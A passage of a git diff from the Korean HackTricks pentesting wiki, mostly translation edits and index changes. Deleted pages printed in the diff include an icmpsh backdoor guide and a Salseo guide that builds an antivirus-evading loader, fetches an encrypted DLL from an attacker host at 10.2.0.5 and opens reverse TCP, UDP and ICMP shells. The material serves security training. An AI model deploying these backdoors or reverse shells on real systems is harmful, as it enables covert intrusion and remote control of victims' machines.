응답을 생성하여 직접 비교할 수 있습니다. -3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval은 고급 LLM인 GPT-4가 다양한 프롬프트에 대한 다른 모델의 응답을 평가하는 자동화된 평가 프레임워크입니다. +3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval은 GPT-4와 같은 고급 LLM이 다양한 프롬프트에 대한 다른 모델의 응답을 평가하는 자동화된 평가 프레임워크입니다. 4. **일반 언어 이해 평가 (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE는 감정 분석, 텍스트 함의 및 질문 응답을 포함한 아홉 가지 자연어 이해 작업의 모음입니다. -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE를 기반으로 하여 SuperGLUE는 현재 모델에 대해 어려운 작업을 포함합니다. +5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE를 기반으로 하여 SuperGLUE는 현재 모델에 대해 어렵게 설계된 더 도전적인 작업을 포함합니다. 6. **모방 게임 벤치마크 초월 (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench는 추론, 번역 및 질문 응답과 같은 영역에서 모델의 능력을 테스트하는 200개 이상의 작업을 포함하는 대규모 벤치마크입니다. 7. **언어 모델의 전체적인 평가 (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM은 정확성, 강건성 및 공정성과 같은 다양한 메트릭에 걸쳐 포괄적인 평가를 제공합니다. -8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI에서 제공하는 오픈 소스 평가 프레임워크로, AI 모델을 사용자 정의 및 표준화된 작업에서 테스트할 수 있습니다. +8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI에서 제공하는 오픈 소스 평가 프레임워크로, 사용자 정의 및 표준화된 작업에서 AI 모델을 테스트할 수 있습니다. 9. [**HumanEval**](https://github.com/openai/human-eval)**:** 언어 모델의 코드 생성 능력을 평가하는 데 사용되는 프로그래밍 문제 모음입니다. 10. **스탠포드 질문 응답 데이터셋 (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD는 모델이 정확하게 답변하기 위해 텍스트를 이해해야 하는 위키피디아 기사에 대한 질문으로 구성됩니다. 11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 방대한 양의 퀴즈 질문과 답변, 증거 문서로 구성된 데이터셋입니다. @@ -93,8 +95,10 @@ print(model_input + desired_response) ## 지침 따르기 미세 조정 코드 -이 미세 조정을 수행하는 코드의 예는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)에서 찾을 수 있습니다. +이 미세 조정을 수행하기 위한 코드 예제를 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)에서 찾을 수 있습니다. ## 참고 문헌 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 29cf11ca8..381a6d95e 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,6 +1,8 @@ # LLM Training - Data Preparation -**이것은 매우 추천되는 책** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **에서의 내 노트와 추가 정보입니다.** +{{#include /banners/hacktricks-training.md}} + +**이것은 매우 추천하는 책** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **에서의 내 노트와 추가 정보입니다.** ## Basic Information @@ -32,7 +34,7 @@ > [!TIP] > 이 세 번째 단계의 목표는 매우 간단합니다: **어휘의 각 이전 토큰에 원하는 차원의 벡터를 할당하여 모델을 훈련하는 것입니다.** 어휘의 각 단어는 X 차원의 공간에서 한 점이 됩니다.\ -> 각 단어의 초기 위치는 "무작위로" 초기화되며, 이러한 위치는 훈련 가능한 매개변수입니다(훈련 중 개선됩니다). +> 처음에 각 단어의 위치는 "무작위로" 초기화되며, 이 위치는 훈련 가능한 매개변수입니다(훈련 중 개선됩니다). > > 게다가, 토큰 임베딩 동안 **또 다른 임베딩 레이어가 생성됩니다**. 이는 (이 경우) **훈련 문장에서 단어의 절대 위치를 나타냅니다.** 이렇게 하면 문장에서 서로 다른 위치에 있는 단어는 서로 다른 표현(의미)을 갖게 됩니다. @@ -43,8 +45,8 @@ ## 4. Attention Mechanisms > [!TIP] -> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하는 것입니다.** 이는 **어휘의 단어와 현재 LLM 훈련에 사용되는 문장에서의 이웃 간의 관계를 포착하는 많은 반복 레이어**가 될 것입니다.\ -> 이를 위해 많은 레이어가 사용되며, 많은 훈련 가능한 매개변수가 이 정보를 포착하게 됩니다. +> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하는 것입니다.** 이는 LLM을 훈련하는 데 사용되는 현재 문장에서 단어와 이웃 간의 관계를 **포착하는 많은 반복 레이어**가 될 것입니다.\ +> 이를 위해 많은 레이어가 사용되므로 많은 훈련 가능한 매개변수가 이 정보를 포착하게 됩니다. {{#ref}} 4.-attention-mechanisms.md @@ -53,7 +55,7 @@ ## 5. LLM Architecture > [!TIP] -> 이 다섯 번째 단계의 목표는 매우 간단합니다: **전체 LLM의 아키텍처를 개발하는 것입니다.** 모든 것을 함께 모으고, 모든 레이어를 적용하며, 텍스트를 생성하거나 텍스트를 ID로 변환하고 그 반대로 변환하는 모든 기능을 생성합니다. +> 이 다섯 번째 단계의 목표는 매우 간단합니다: **전체 LLM의 아키텍처를 개발하는 것입니다.** 모든 것을 함께 모으고, 모든 레이어를 적용하고, 텍스트를 생성하거나 텍스트를 ID로 변환하고 그 반대로 변환하는 모든 기능을 만듭니다. > > 이 아키텍처는 훈련 후 텍스트를 예측하는 데에도 사용됩니다. @@ -96,3 +98,5 @@ {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} + +{{#include /banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d902fdb93..f83536cbe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -149,6 +149,7 @@ - [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) - [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) - [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md) + - [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md) - [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md) - [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) - [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md) @@ -217,8 +218,10 @@ # 🪟 Windows Hardening +- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) @@ -248,6 +251,7 @@ - [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md) - [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md) - [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md) + - [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md) - [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md) - [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md) - [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md) @@ -330,7 +334,7 @@ - [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md) - [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md) - [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md) - - [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) + - [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) - [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md) - [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md) - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) @@ -388,6 +392,7 @@ - [Buckets](network-services-pentesting/pentesting-web/buckets/README.md) - [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) - [CGI](network-services-pentesting/pentesting-web/cgi.md) + - [Django](network-services-pentesting/pentesting-web/django.md) - [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) - [Drupal](network-services-pentesting/pentesting-web/drupal/README.md) - [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md) @@ -398,7 +403,6 @@ - [Flask](network-services-pentesting/pentesting-web/flask.md) - [Git](network-services-pentesting/pentesting-web/git.md) - [Golang](network-services-pentesting/pentesting-web/golang.md) - - [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md) - [Grafana](network-services-pentesting/pentesting-web/grafana.md) - [GraphQL](network-services-pentesting/pentesting-web/graphql.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) @@ -430,7 +434,7 @@ - [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md) - [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md) - [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) - - [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) + - [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) - [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md) - [Python](network-services-pentesting/pentesting-web/python.md) @@ -438,6 +442,7 @@ - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md) - [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]() - [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md) + - [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md) - [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md) - [Symfony](network-services-pentesting/pentesting-web/symphony.md) - [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md) @@ -582,6 +587,7 @@ - [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md) - [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md) - [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md) + - [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md) - [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md) - [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) - [Email Injections](pentesting-web/email-injections.md) @@ -609,6 +615,7 @@ - [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md) - [IDOR](pentesting-web/idor.md) - [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) +- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md) - [LDAP Injection](pentesting-web/ldap-injection.md) - [Login Bypass](pentesting-web/login-bypass/README.md) - [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md) @@ -641,6 +648,7 @@ - [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) - [Oracle injection](pentesting-web/sql-injection/oracle-injection.md) - [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md) + - [Sqlmap](pentesting-web/sql-injection/sqlmap.md) - [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md) - [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) - [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -664,6 +672,7 @@ - [WebSocket Attacks](pentesting-web/websocket-attacks.md) - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) - [XPATH injection](pentesting-web/xpath-injection.md) +- [XS Search](pentesting-web/xs-search.md) - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) @@ -845,13 +854,14 @@ # ✍️ TODO -- [Other Big References](todo/references.md) +- [Interesting Http](todo/interesting-http.md) - [Rust Basics](todo/rust-basics.md) - [More Tools](todo/more-tools.md) - [MISC](todo/misc.md) -- [Pentesting DNS](todo/pentesting-dns.md) - [Hardware Hacking](todo/hardware-hacking/README.md) + - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md) - [I2C](todo/hardware-hacking/i2c.md) + - [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md) - [UART](todo/hardware-hacking/uart.md) - [Radio](todo/hardware-hacking/radio.md) - [JTAG](todo/hardware-hacking/jtag.md) @@ -878,8 +888,6 @@ - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() - [Android Forensics](todo/android-forensics.md) -- [TR-069](todo/tr-069.md) -- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md) - [Online Platforms with API](todo/online-platforms-with-api.md) - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) @@ -887,3 +895,11 @@ - [Cookies Policy](todo/cookies-policy.md) + + - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) + - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) + - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) + - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) + - [Readme](reversing/cryptographic-algorithms/README.md) + - [Readme](reversing/reversing-tools/README.md) + - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file diff --git a/src/android-forensics.md b/src/android-forensics.md deleted file mode 100644 index 960c95842..000000000 --- a/src/android-forensics.md +++ /dev/null @@ -1,27 +0,0 @@ -# 안드로이드 포렌식 - -{{#include ./banners/hacktricks-training.md}} - -## 잠금 장치 - -안드로이드 장치에서 데이터를 추출하려면 장치가 잠금 해제되어야 합니다. 잠금 상태인 경우 다음을 수행할 수 있습니다: - -- USB를 통한 디버깅이 활성화되어 있는지 확인합니다. -- 가능한 [스머지 공격](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)을 확인합니다. -- [브루트 포스](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)로 시도해 봅니다. - -## 데이터 수집 - -[adb를 사용하여 안드로이드 백업을 생성](mobile-pentesting/android-app-pentesting/adb-commands.md#backup)하고 [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/)를 사용하여 추출합니다: `java -jar abe.jar unpack file.backup file.tar` - -### 루트 접근 또는 JTAG 인터페이스에 대한 물리적 연결이 있는 경우 - -- `cat /proc/partitions` (플래시 메모리의 경로를 검색합니다. 일반적으로 첫 번째 항목은 _mmcblk0_이며 전체 플래시 메모리에 해당합니다). -- `df /data` (시스템의 블록 크기를 확인합니다). -- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (블록 크기에서 수집한 정보를 사용하여 실행합니다). - -### 메모리 - -Linux Memory Extractor (LiME)를 사용하여 RAM 정보를 추출합니다. 이는 adb를 통해 로드해야 하는 커널 확장입니다. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md deleted file mode 100644 index 077bd73f3..000000000 --- a/src/backdoors/icmpsh.md +++ /dev/null @@ -1,25 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -백도어를 다운로드하려면: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) - -# 클라이언트 측 - -스크립트를 실행하세요: **run.sh** - -**오류가 발생하면 다음 줄을 변경해 보세요:** -```bash -IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) -IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') -``` -**대상:** -```bash -echo Please insert the IP where you want to listen -read IP -``` -# **피해자 측** - -**icmpsh.exe**를 피해자에게 업로드하고 실행합니다: -```bash -icmpsh.exe -t -d 500 -b 30 -s 128 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md deleted file mode 100644 index 9eae7ac3e..000000000 --- a/src/backdoors/salseo.md +++ /dev/null @@ -1,158 +0,0 @@ -# Salseo - -{{#include ../banners/hacktricks-training.md}} - -## 바이너리 컴파일 - -github에서 소스 코드를 다운로드하고 **EvilSalsa**와 **SalseoLoader**를 컴파일합니다. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다. - -사용할 Windows 박스의 아키텍처에 맞게 프로젝트를 컴파일합니다(Windows가 x64를 지원하면 해당 아키텍처로 컴파일합니다). - -**Visual Studio**의 **왼쪽 "Build" 탭**에서 **"Platform Target"**을 통해 **아키텍처를 선택**할 수 있습니다. - -(**이 옵션을 찾을 수 없으면 **"Project Tab"**을 클릭한 다음 **"\ Properties"**를 클릭하세요.) - -![](<../images/image (132).png>) - -그런 다음 두 프로젝트를 빌드합니다 (Build -> Build Solution) (로그 안에 실행 파일의 경로가 나타납니다): - -![](<../images/image (1) (2) (1) (1) (1).png>) - -## 백도어 준비 - -우선, **EvilSalsa.dll**을 인코딩해야 합니다. 이를 위해 python 스크립트 **encrypterassembly.py**를 사용하거나 **EncrypterAssembly** 프로젝트를 컴파일할 수 있습니다. - -### **Python** -``` -python EncrypterAssembly/encrypterassembly.py -python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt -``` -### 윈도우 -``` -EncrypterAssembly.exe -EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt -``` -이제 Salseo 작업을 실행하는 데 필요한 모든 것이 있습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 바이너리.** - -**SalseoLoader.exe 바이너리를 머신에 업로드하세요. 어떤 AV에도 탐지되지 않아야 합니다...** - -## **백도어 실행하기** - -### **TCP 리버스 셸 얻기 (HTTP를 통해 인코딩된 dll 다운로드)** - -nc를 리버스 셸 리스너로 시작하고 인코딩된 evilsalsa를 제공할 HTTP 서버를 시작하는 것을 잊지 마세요. -``` -SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp -``` -### **UDP 리버스 셸 얻기 (SMB를 통한 인코딩된 dll 다운로드)** - -리버스 셸 리스너로 nc를 시작하고, 인코딩된 evilsalsa를 제공할 SMB 서버를 시작하는 것을 잊지 마세요 (impacket-smbserver). -``` -SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp -``` -### **ICMP 리버스 셸 얻기 (피해자 내부에 이미 인코딩된 dll)** - -**이번에는 리버스 셸을 수신하기 위해 클라이언트에 특별한 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **ICMP 응답 비활성화:** -``` -sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -#You finish, you can enable it again running: -sysctl -w net.ipv4.icmp_echo_ignore_all=0 -``` -#### 클라이언트 실행: -``` -python icmpsh_m.py "" "" -``` -#### 피해자 내부에서 salseo 작업을 실행해 보겠습니다: -``` -SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp -``` -## SalseoLoader를 DLL로 컴파일하여 메인 함수 내보내기 - -Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다. - -### 메인 함수 앞에 추가: \[DllExport] - -![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -### 이 프로젝트에 DllExport 설치 - -#### **도구** --> **NuGet 패키지 관리자** --> **솔루션용 NuGet 패키지 관리...** - -![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -#### **DllExport 패키지 검색(탭에서 찾아보기 사용), 설치를 누르고(팝업을 수락)** - -![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -프로젝트 폴더에 **DllExport.bat** 및 **DllExport_Configure.bat** 파일이 나타났습니다. - -### **U**ninstall DllExport - -**Uninstall**을 누릅니다(이상하게 들리지만 믿어주세요, 필요합니다). - -![](<../images/image (5) (1) (1) (2) (1).png>) - -### **Visual Studio 종료 및 DllExport_configure 실행** - -그냥 **Visual Studio를 종료**합니다. - -그런 다음, **SalseoLoader 폴더**로 가서 **DllExport_Configure.bat**를 실행합니다. - -**x64**를 선택합니다(64비트 박스 내에서 사용할 경우, 제 경우가 그랬습니다), **System.Runtime.InteropServices**를 선택합니다(**DllExport의 네임스페이스 내**) 그리고 **적용**을 누릅니다. - -![](<../images/image (7) (1) (1) (1) (1).png>) - -### **Visual Studio로 프로젝트 다시 열기** - -**\[DllExport]**가 더 이상 오류로 표시되지 않아야 합니다. - -![](<../images/image (8) (1).png>) - -### 솔루션 빌드 - -**출력 유형 = 클래스 라이브러리**를 선택합니다(프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리). - -![](<../images/image (10) (1).png>) - -**x64** **플랫폼**을 선택합니다(프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64). - -![](<../images/image (9) (1) (1).png>) - -**솔루션을 빌드**하려면: 빌드 --> 솔루션 빌드(출력 콘솔에 새 DLL의 경로가 나타납니다). - -### 생성된 Dll 테스트 - -테스트할 위치에 Dll을 복사하고 붙여넣습니다. - -실행: -``` -rundll32.exe SalseoLoader.dll,main -``` -오류가 나타나지 않으면, 아마도 기능하는 DLL이 있는 것입니다!! - -## DLL을 사용하여 셸 얻기 - -**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요. - -### Powershell -``` -$env:pass="password" -$env:payload="http://10.2.0.5/evilsalsax64.dll.txt" -$env:lhost="10.2.0.5" -$env:lport="1337" -$env:shell="reversetcp" -rundll32.exe SalseoLoader.dll,main -``` -### CMD -``` -set pass=password -set payload=http://10.2.0.5/evilsalsax64.dll.txt -set lhost=10.2.0.5 -set lport=1337 -set shell=reversetcp -rundll32.exe SalseoLoader.dll,main -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index eea5d5fa1..11f28b2aa 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1 +1,3 @@ -# 임의 쓰기 2 실행 +# Arbitrary Write 2 Exec + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index f467483d7..b46a3038e 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,87 +1,89 @@ # iOS Exploiting -## Physical use-after-free +{{#include /banners/hacktricks-training.md}} -이것은 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)의 게시물 요약이며, 이 기술을 사용한 익스플로잇에 대한 추가 정보는 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)에서 찾을 수 있습니다. +## 물리적 사용 후 해제 -### Memory management in XNU +이 내용은 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)의 게시물 요약이며, 이 기술을 사용한 익스플로잇에 대한 추가 정보는 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)에서 찾을 수 있습니다. -iOS의 **사용자 프로세스**에 대한 **가상 메모리 주소 공간**은 **0x0에서 0x8000000000**까지입니다. 그러나 이러한 주소는 물리 메모리에 직접 매핑되지 않습니다. 대신, **커널**은 **페이지 테이블**을 사용하여 가상 주소를 실제 **물리 주소**로 변환합니다. +### XNU의 메모리 관리 -#### Levels of Page Tables in iOS +iOS의 사용자 프로세스를 위한 **가상 메모리 주소 공간**은 **0x0에서 0x8000000000**까지입니다. 그러나 이러한 주소는 물리 메모리에 직접적으로 매핑되지 않습니다. 대신, **커널**은 **페이지 테이블**을 사용하여 가상 주소를 실제 **물리 주소**로 변환합니다. + +#### iOS의 페이지 테이블 수준 페이지 테이블은 세 가지 수준으로 계층적으로 구성됩니다: -1. **L1 Page Table (Level 1)**: +1. **L1 페이지 테이블 (레벨 1)**: * 여기의 각 항목은 넓은 범위의 가상 메모리를 나타냅니다. -* **0x1000000000 바이트**(또는 **256 GB**)의 가상 메모리를 포함합니다. -2. **L2 Page Table (Level 2)**: -* 여기의 항목은 더 작은 가상 메모리 영역을 나타내며, 구체적으로 **0x2000000 바이트**(32 MB)입니다. +* **0x1000000000 바이트** (또는 **256 GB**)의 가상 메모리를 포함합니다. +2. **L2 페이지 테이블 (레벨 2)**: +* 여기의 항목은 더 작은 가상 메모리 영역을 나타내며, 구체적으로 **0x2000000 바이트** (32 MB)입니다. * L1 항목은 전체 영역을 매핑할 수 없는 경우 L2 테이블을 가리킬 수 있습니다. -3. **L3 Page Table (Level 3)**: +3. **L3 페이지 테이블 (레벨 3)**: * 가장 세밀한 수준으로, 각 항목은 단일 **4 KB** 메모리 페이지를 매핑합니다. * L2 항목은 더 세밀한 제어가 필요할 경우 L3 테이블을 가리킬 수 있습니다. -#### Mapping Virtual to Physical Memory +#### 가상 메모리를 물리 메모리로 매핑 -* **Direct Mapping (Block Mapping)**: -* 페이지 테이블의 일부 항목은 가상 주소의 범위를 연속적인 물리 주소 범위에 직접 **매핑**합니다(단축키와 같은 방식). -* **Pointer to Child Page Table**: -* 더 세밀한 제어가 필요할 경우, 한 수준의 항목(예: L1)은 다음 수준의 **자식 페이지 테이블**(예: L2)을 가리킬 수 있습니다. +* **직접 매핑 (블록 매핑)**: +* 페이지 테이블의 일부 항목은 가상 주소 범위를 연속적인 물리 주소 범위에 직접 **매핑**합니다 (단축키와 같은 방식). +* **자식 페이지 테이블에 대한 포인터**: +* 더 세밀한 제어가 필요할 경우, 한 수준의 항목 (예: L1)은 다음 수준의 **자식 페이지 테이블** (예: L2)을 가리킬 수 있습니다. -#### Example: Mapping a Virtual Address +#### 예시: 가상 주소 매핑 가상 주소 **0x1000000000**에 접근하려고 한다고 가정해 보겠습니다: -1. **L1 Table**: +1. **L1 테이블**: * 커널은 이 가상 주소에 해당하는 L1 페이지 테이블 항목을 확인합니다. 만약 **L2 페이지 테이블에 대한 포인터**가 있다면, 해당 L2 테이블로 이동합니다. -2. **L2 Table**: +2. **L2 테이블**: * 커널은 더 자세한 매핑을 위해 L2 페이지 테이블을 확인합니다. 만약 이 항목이 **L3 페이지 테이블**을 가리킨다면, 그곳으로 진행합니다. -3. **L3 Table**: +3. **L3 테이블**: * 커널은 최종 L3 항목을 조회하여 실제 메모리 페이지의 **물리 주소**를 가리킵니다. -#### Example of Address Mapping +#### 주소 매핑 예시 물리 주소 **0x800004000**을 L2 테이블의 첫 번째 인덱스에 기록하면: * **0x1000000000**에서 **0x1002000000**까지의 가상 주소는 **0x800004000**에서 **0x802004000**까지의 물리 주소에 매핑됩니다. * 이는 L2 수준에서의 **블록 매핑**입니다. -반대로, L2 항목이 L3 테이블을 가리키면: +대신, L2 항목이 L3 테이블을 가리키는 경우: * 가상 주소 범위 **0x1000000000 -> 0x1002000000**의 각 